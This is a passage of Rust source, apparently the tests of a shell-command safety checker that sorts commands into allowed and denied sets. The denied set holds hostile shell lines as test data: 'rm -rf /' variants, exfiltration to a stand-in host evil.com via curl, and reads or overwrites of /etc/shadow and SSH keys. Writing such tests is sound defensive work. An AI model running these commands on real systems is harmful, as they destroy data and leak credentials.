736            // A heredoc body is inert ONLY behind a quoted delimiter. With a bare `<<EOF` the shell
737            // expands the body, so a substitution in it runs and is classified exactly like one in
738            // any other word. `body` is empty for the quoted spellings, so this is a no-op there.
739            Redir::HereDoc { body, .. } => {
740                level = level.combine(word_sub_verdict(body));
741            }
742            Redir::DupFd { .. } => {}
743        }
744    }
745    level
746}
747
748fn has_substitution(word: &Word) -> bool {
749    word.0.iter().any(|p| match p {
750        WordPart::CmdSub(_) | WordPart::ProcSub(_) | WordPart::Backtick(_) | WordPart::Arith(_) => true,
751        WordPart::DQuote(inner) => has_substitution(inner),
752        _ => false,
753    })
754}
755
756#[cfg(test)]
757mod tests {
758    use super::*;
759
760    fn check(cmd: &str) -> bool {
761        is_safe_command(cmd)
762    }
763
764    #[test]
765    fn a_function_defined_in_a_subshell_is_gone_when_it_ends() {
766        assert!(check("(ls(){ rm -rf /; }; true); ls"), "the subshell's `ls` is not the one run after it");
767        assert!(!check("(ls(){ rm -rf /; }; ls)"), "inside the subshell it is");
768    }
769
770    #[test]
771    fn a_name_defined_in_an_ended_scope_is_not_trusted_as_a_number() {
772        assert!(check("n=$(date +%s); echo $((n+1))"));
773        assert!(
774            !check("(date(){ echo x; }; true); n=$(date +%s); echo $((n+1))"),
775            "a name defined anywhere in the line is not trusted, whatever scope defined it"
776        );
777    }
778
779    #[test]
780    fn an_argument_that_may_split_moves_every_later_one_to_an_unknown_place() {
781        assert!(check("f(){ cat \"$2\"; }; f a ./ok"));
782        assert!(check("f(){ cat \"$2\"; }; f \"$X\" ./ok"), "quoted, it stays one word");
783        assert!(check("f(){ cat \"$2\"; }; IFS=,; f a ./ok"));
784        assert!(check("f(){ cat \"$2\"; }; f 'a b' ./ok"), "single-quoted, a space is not a split");
785        let moved = [
786            "f(){ cat \"$2\"; }; f $X ./ok", "f(){ cat \"$2\"; }; f x$X ./ok", "f(){ cat \"$2\"; }; f $(pwd) ./ok",
787            "f(){ cat \"$2\"; }; f $(echo a) ./ok", "f(){ cat \"$2\"; }; f \"$@\" ./ok", "f(){ cat \"$2\"; }; f {a,b} ./ok",
788            "f(){ cat \"$2\"; }; f *.x ./ok",
789        ];
790        let approved: Vec<&str> = moved.into_iter().filter(|c| check(c)).collect();
791        assert!(approved.is_empty(), "approved with `$2` read from the wrong place: {approved:?}");
792    }
793
794    #[test]
795    fn the_fuzz_input_that_exhausted_memory_is_refused_quickly_in_both_layers() {
796        let seed = String::from_utf8_lossy(include_bytes!("../../fuzz/corpus/explain_render/seed-oom-c54"));
797        let started = std::time::Instant::now();
798        assert!(!is_safe_command(&seed));
799        assert!(!crate::cst::explain(&seed).is_allowed());
800        assert!(started.elapsed() < std::time::Duration::from_secs(5), "{:?}", started.elapsed());
801    }
802
803    #[test]
804    fn many_sources_stay_cheap_and_a_plain_command_after_them_is_judged_as_before() {
805        let started = std::time::Instant::now();
806        let sourced = ". ./a; ".repeat(64) + "ls";
807        assert_eq!(is_safe_command(&sourced), is_safe_command(". ./a; ls"));
808        assert!(started.elapsed() < std::time::Duration::from_secs(5), "{:?}", started.elapsed());
809    }
810
811    #[test]
812    fn loop_variable_inherits_the_list_locus() {
813        // `~/.ssh/*` is a real directory. List the stand-in, not the process home.
814        let home = tempfile::tempdir().expect("home");
815        let _home = crate::pathctx::enter_home(home.path().to_str().expect("utf-8").to_string());
816        // A worktree `in`-list → the body reads/writes the worktree → allowed. The bare `$f`
817        // used to fail-closed to machine; now it binds to the list, like find's `{}`→path.
818        for cmd in [
819            "for f in ./*.txt; do cat \"$f\"; done",
820            "for f in ./*.txt; do rm \"$f\"; done",
821            "for f in src/*.rs; do grep foo \"$f\"; done",
822            "for f in ./*.log; do sed -i s/a/b/ \"$f\"; done",
823            "for f in a b c; do cat $f.bak; done",
824            "for x in 1 2 3; do rm $x; done",
825            "for d in a b; do for f in $d/x; do cat $f; done; done", // nested loops compose
826        ] {
827            assert!(check(cmd), "worktree loop should allow: {cmd}");
828        }
829        // A system / credential / unpinnable `in`-list → deny (the body could touch it).
830        for cmd in [
831            "for f in /etc/*; do cat $f; done",
832            "for f in /etc/*.conf; do rm $f; done",
833            "for f in ~/.ssh/*; do cat $f; done",
834            "for f in $LIST; do rm $f; done",
835            "for f in $(find / -name x); do rm -rf $f; done",
836            // nested: the inner list inherits the outer binding, so the body reads ~/.ssh/id_rsa
837            "for d in ~/.ssh; do for f in $d/id_rsa; do cat $f; done; done",
838            // read-worst ≠ write-worst: reading must worst-case the credential store even though
839            // the write-worst item is /etc/hosts — a single representative would be unsound.
840            "for f in /etc/hosts ~/.aws/credentials; do cat $f; done",
841            // A glob can match a file named `-n` or `--files0-from=x.txt`, and an unquoted use
842            // splits a name at its blanks: either puts a flag where the command reads one.
843            "for f in *.txt; do cat \"$f\"; done",
844            "for f in *.txt; do rm $f; done",
845            "for f in src/*.rs; do grep foo $f; done",
846            "for f in -delete; do find / $f; done",
847            "for f in -delete; do find / \"$f\"; done",
848        ] {
849            assert!(!check(cmd), "non-worktree loop should deny: {cmd}");
850        }
851    }
852
853    safe! {
854        grep_foo: "grep foo file.txt",
855        jq_key: "jq '.key' file.json",
856        base64_d: "base64 -d",
857        ls_la: "ls -la",
858        wc_l: "wc -l file.txt",
859        ps_aux: "ps aux",
860        echo_hello: "echo hello",
861        cat_file: "cat file.txt",
862
863        version_go: "go --version",
864        version_cargo: "cargo --version",
865        version_cargo_redirect: "cargo --version 2>&1",
866        help_cargo: "cargo --help",
867        help_cargo_build: "cargo build --help",
868
869        dev_null_echo: "echo hello > /dev/null",
870        dev_null_stderr: "echo hello 2> /dev/null",
871        dev_null_append: "echo hello >> /dev/null",
872        dev_null_git_log: "git log > /dev/null 2>&1",
873        fd_redirect_ls: "ls 2>&1",
874        stdin_dev_null: "git log < /dev/null",
875
876        env_prefix: "FOO='bar baz' ls -la",
877        env_prefix_dq: "FOO=\"bar baz\" ls -la",
878        env_rack_rspec: "RACK_ENV=test bundle exec rspec spec/foo_spec.rb",
879
880        subst_echo_ls: "echo $(ls)",
881        subst_ls_pwd: "ls `pwd`",
882        subst_nested: "echo $(echo $(ls))",
883        subst_quoted: "echo \"$(ls)\"",
884        assign_subst_ls: "out=$(ls)",
885        assign_subst_git: "out=$(git status)",
886        assign_subst_multiple: "a=$(ls) b=$(pwd)",
887        assign_subst_backtick: "out=`ls`",
888
889        assign_bare_lit: "foo=bar",
890        assign_bare_int: "x=1",
891        assign_bare_empty: "x=",
892        assign_bare_dq: "x=\"foo bar\"",
893        assign_bare_sq: "x='foo bar'",
894        assign_bare_param: "rc=$?",
895        assign_bare_var: "x=$y",
896        assign_bare_dollar_var_braced: "x=${y}",
897        assign_bare_path: "PATH=/usr/bin:/bin",
898        assign_bare_multiple: "a=1 b=2 c=3",
899        assign_bare_arith: "x=$((1 + 2))",
900        assign_in_for_body: "for i in 1 2; do x=1; done",
901        assign_rc_in_for_body: "for i in 1 2; do echo $i; rc=$?; done",
902        assign_rc_in_while_body: "while test -f /tmp/x; do rc=$?; sleep 1; done",
903        assign_rc_in_if_body: "if test -f foo; then rc=$?; fi",
904        assign_then_use: "x=1; echo $x",
905        assign_chained_with_safe: "x=1 && ls",
906        assign_subshell: "(x=1)",
907        assign_in_subshell_with_cmd: "(x=1; ls)",
908
909        // A loop over a BOUNDED substitution. These are the positive half of the substitution
910        // rule: the deny corpus only asserts that hot roots are refused, which a blanket refusal
911        // would satisfy vacuously — so without these, reverting `loop_reprs` to its old
912        // `__SAFE_CHAINS_` prefix test would silently re-deny the whole form and stay green.
913        loop_over_bounded_sub_write: "for f in $(fd a app/); do echo hi > $f; done",
914        loop_over_pwd: "for f in $(pwd); do cat $f; done",
915        loop_over_pwd_quoted: "for f in $(pwd); do cat \"$f/x\"; done",
916        loop_over_pwd_pipeline: "for f in $(pwd | head -3); do cat $f; done",
917
918        case_single_arm: "case x in x) echo a;; esac",
919        case_alternation: "case $x in a|b) ls;; *) echo n;; esac",
920        case_paren_prefixed_pattern: "case \"$1\" in (start) ls;; (stop) pwd;; esac",
921        case_last_arm_without_terminator: "case x in x) echo a; esac",
922        case_empty_body: "case x in x) ;; esac",
923        case_multiline: "case \"$1\" in\n  start)\n    ls -la\n    ;;\n  *)\n    echo usage\n    ;;\nesac",
924        case_in_substitution: "echo $(case A in *) echo a;; esac)",
925        case_nested_in_if: "if true; then case x in a) ls;; esac; fi",
926        clobber_redirect: "ls >| out.txt",
927        clobber_redirect_fd: "ls 1>| out.txt",
928        readwrite_redirect: "ls <> f.txt",
929        readwrite_redirect_devnull: "ls <> /dev/null",
930
931        subshell_echo: "(echo hello)",
932        subshell_ls: "(ls)",
933        subshell_chain: "(ls && echo done)",
934        subshell_pipe: "(ls | grep foo)",
935        subshell_nested: "((echo hello))",
936        subshell_for: "(for x in 1 2; do echo $x; done)",
937
938        pipe_grep_head: "grep foo file.txt | head -5",
939        pipe_cat_sort_uniq: "cat file | sort | uniq",
940        chain_ls_echo: "ls && echo done",
941        semicolon_ls_echo: "ls; echo done",
942        bg_ls_echo: "ls & echo done",
943        newline_echo_echo: "echo foo\necho bar",
944
945        stdin_read_from_path: "wc -l < /tmp/foo.log",
946        stdin_read_in_subst: "while [ $(wc -l < /tmp/x) -lt 10 ]; do sleep 5; done",
947        stdin_read_in_for_body: "for i in 1 2; do cat < /tmp/x; done",
948
949        here_string_grep: "grep -c , <<< 'hello,world,test'",
950        heredoc_cat: "cat <<EOF\nhello world\nEOF",
951        heredoc_quoted: "cat <<'EOF'\nhello\nEOF",
952        heredoc_strip_tabs: "cat <<-EOF\n\thello\nEOF",
953        heredoc_no_content: "cat <<EOF",
954        heredoc_pipe: "cat <<EOF | grep hello\nhello\nEOF",
955
956        for_echo: "for x in 1 2 3; do echo $x; done",
957        for_empty_body: "for x in 1 2 3; do; done",
958        for_nested: "for x in 1 2; do for y in a b; do echo $x $y; done; done",
959        for_safe_subst: "for x in $(seq 1 5); do echo $x; done",
960        while_test: "while test -f /tmp/foo; do sleep 1; done",
961        while_negation: "while ! test -f /tmp/done; do sleep 1; done",
962        until_test: "until test -f /tmp/ready; do sleep 1; done",
963        if_then_fi: "if test -f foo; then echo exists; fi",
964        if_then_else_fi: "if test -f foo; then echo yes; else echo no; fi",
965        if_elif: "if test -f a; then echo a; elif test -f b; then echo b; else echo c; fi",
966        nested_if_in_for: "for x in 1 2; do if test $x = 1; then echo one; fi; done",
967        bare_negation: "! echo hello",
968        keyword_as_data: "echo for; echo done; echo if; echo fi",
969
970        quoted_redirect: "echo 'greater > than' test",
971        quoted_subst: "echo '$(safe)' arg",
972
973        redirect_to_file: "echo hello > file.txt",
974        redirect_append: "cat file >> output.txt",
975        redirect_stderr_file: "ls 2> errors.txt",
976        redirect_bidirectional_write: "cat < /tmp/x > /tmp/y",
977        env_rails_redirect: "RAILS_ENV=test echo foo > bar",
978        jj_diff_redirect_chain: "jj diff -r 'master..@' --context 5 > /tmp/review_diff.txt && wc -l /tmp/review_diff.txt",
979
980        arith_basic: "echo $((1 + 2))",
981        arith_with_var: "ln=5; prev=$((ln - 1))",
982        arith_nested_parens: "echo $(( (1 + 2) * 3 ))",
983        arith_in_dquote: "ln=5; echo \"line $((ln - 1))\"",
984        arith_in_for_loop: "for i in 1 2; do echo $((i * 10)); done",
985
986        dbracket_eq: "[[ \"a\" == \"a\" ]]",
987        dbracket_neq: "[[ \"a\" != \"b\" ]]",
988        dbracket_file_test: "[[ -f /tmp/file ]]",
989        dbracket_string_empty: "[[ -z \"$var\" ]]",
990        dbracket_string_nonempty: "[[ -n \"$var\" ]]",
991        dbracket_regex: "[[ \"$x\" =~ ^[0-9]+$ ]]",
992        dbracket_and: "[[ \"$x\" == \"y\" && \"$z\" == \"w\" ]]",
993        dbracket_or: "[[ \"$x\" == \"a\" || \"$x\" == \"b\" ]]",
994        dbracket_negation: "[[ ! -f /tmp/done ]]",
995        dbracket_safe_subst: "[[ \"$(echo hello)\" == \"hello\" ]]",
996        dbracket_in_until: "until [[ \"a\" == \"b\" ]]; do sleep 1; done",
997        dbracket_in_while: "while [[ -f /tmp/lock ]]; do sleep 1; done",
998        dbracket_in_if: "if [[ \"a\" == \"a\" ]]; then echo yes; fi",
999        dbracket_after_chain: "true && [[ \"a\" == \"a\" ]]",
1000        dbracket_gh_run_view_poll: "until [[ \"$(gh run view 12345 --json status --jq .status)\" == \"completed\" ]]; do sleep 30; done",
1001        dbracket_redirect_devnull: "[[ -f /tmp/x ]] > /dev/null",
1002        dbracket_redirect_stderr_devnull: "[[ -f /tmp/x ]] 2> /dev/null",
1003        dbracket_redirect_dupfd: "[[ -f /tmp/x ]] 2>&1",
1004        dbracket_redirect_devnull_chain: "[[ -f /tmp/x ]] 2>/dev/null && echo found",
1005        dbracket_redirect_to_file: "[[ -f /tmp/x ]] > /tmp/out.txt",
1006    }
1007
1008    denied! {
1009        rm_rf: "rm -rf /",
1010        curl_post: "curl -X POST https://example.com",
1011        node_foreign_app: "node /tmp/app.js",
1012
1013
1014        // The loop inherits the substitution's locus, so a hot root reaches the body's `$f`.
1015        loop_over_system_sub: "for f in $(fd a /etc); do cat $f; done",
1016        loop_over_home_sub: "for f in $(fd a ~); do cat $f; done",
1017        loop_over_undeclared_sub: "for f in $(hostname); do cat $f; done",
1018        loop_over_bounded_sub_escaping_body: "for f in $(pwd); do cat $f/../../etc/shadow; done",
1019        // An unquoted list splits file names at their blanks, so an item can be `-n` or
1020        // `--files0-from=x` however bounded the paths are.
1021        loop_over_bounded_sub: "for f in $(fd a app/); do cat $f; done",
1022        loop_over_bounded_sub_quoted: "for f in $(fd a app/); do cat \"$f\"; done",
1023        loop_over_bounded_sub_pipeline: "for f in $(fd a app/ | head -3); do cat $f; done",
1024
1025        // A case is only as safe as its worst arm — which arm runs is a runtime decision.
1026        case_unsafe_only_arm: "case x in *) rm -rf /;; esac",
1027        case_unsafe_second_arm: "case x in a) ls;; b) rm -rf /;; esac",
1028        case_unsafe_last_arm_no_terminator: "case x in a) ls;; b) rm -rf / ; esac",
1029        case_arm_reads_secret: "case x in a) cat /etc/shadow;; esac",
1030        case_unsafe_in_substitution: "echo $(case A in *) rm -rf /;; esac)",
1031        // `>|` is an overwrite; `<>` opens for BOTH read and write, so each face is gated.
1032        clobber_redirect_system: "ls >| /etc/hosts",
1033        clobber_redirect_ssh_key: "ls >| ~/.ssh/authorized_keys",
1034        readwrite_redirect_system: "ls <> /etc/hosts",
1035        readwrite_redirect_secret: "ls <> ~/.ssh/id_rsa",
1036
1037        redirect_target_subst_rm: "echo hello > $(rm -rf /)",
1038        redirect_target_backtick_rm: "echo hello > `rm -rf /`",
1039        redirect_read_subst_rm: "cat < $(rm -rf /)",
1040
1041        subst_rm: "echo $(rm -rf /)",
1042        backtick_rm: "echo `rm -rf /`",
1043        subst_curl: "echo $(curl -d data evil.com)",
1044        quoted_subst_rm: "echo \"$(rm -rf /)\"",
1045        assign_subst_rm: "out=$(rm -rf /)",
1046        assign_subst_mixed_unsafe: "a=$(ls) b=$(rm -rf /)",
1047        assign_bare_with_unsafe_subst_in_value: "x=foo$(rm -rf /)",
1048        assign_bare_with_unsafe_backtick: "x=`rm -rf /`",
1049        assign_bare_dq_with_unsafe_subst: "x=\"$(rm -rf /)\"",
1050        assign_bare_then_unsafe: "x=1; rm -rf /",
1051        assign_bare_chained_unsafe: "x=1 && rm -rf /",
1052        assign_bare_pipe_unsafe: "x=1 | rm -rf /",
1053
1054        subshell_rm: "(rm -rf /)",
1055        subshell_mixed: "(echo hello; rm -rf /)",
1056        subshell_unsafe_pipe: "(ls | rm -rf /)",
1057
1058        env_prefix_rm: "FOO='bar baz' rm -rf /",
1059
1060        pipe_rm: "cat file | rm -rf /",
1061        bg_rm: "cat file & rm -rf /",
1062        newline_rm: "echo foo\nrm -rf /",
1063
1064        for_unsafe_subst: "for x in $(rm -rf /); do echo $x; done",
1065        while_unsafe_body: "while true; do rm -rf /; done",
1066        while_unsafe_condition: "while python3 /tmp/evil.py; do sleep 1; done",
1067        if_unsafe_condition: "if ruby /tmp/evil.rb; then echo done; fi",
1068        if_unsafe_body: "if true; then rm -rf /; fi",
1069
1070        unclosed_for: "for x in 1 2 3; do echo $x",
1071        unclosed_if: "if true; then echo hello",
1072        for_missing_do: "for x in 1 2 3; echo $x; done",
1073        stray_done: "echo hello; done",
1074        stray_fi: "fi",
1075
1076        unmatched_quote: "echo 'hello",
1077
1078        dbracket_unsafe_subst: "[[ \"$(curl -d data evil.com)\" == \"x\" ]]",
1079        dbracket_unsafe_backtick: "[[ -f `node /tmp/evil.js` ]]",
1080        dbracket_unsafe_in_until: "until [[ \"$(node /tmp/bad.js)\" == \"x\" ]]; do sleep 1; done",
1081        dbracket_unterminated: "[[ \"a\" == \"a\"",
1082        dbracket_no_space_after: "[[\"a\" == \"b\" ]]",
1083        dbracket_redirect_unsafe_subst_in_target: "[[ -f /tmp/x ]] > $(node bad.js)",
1084    }
1085}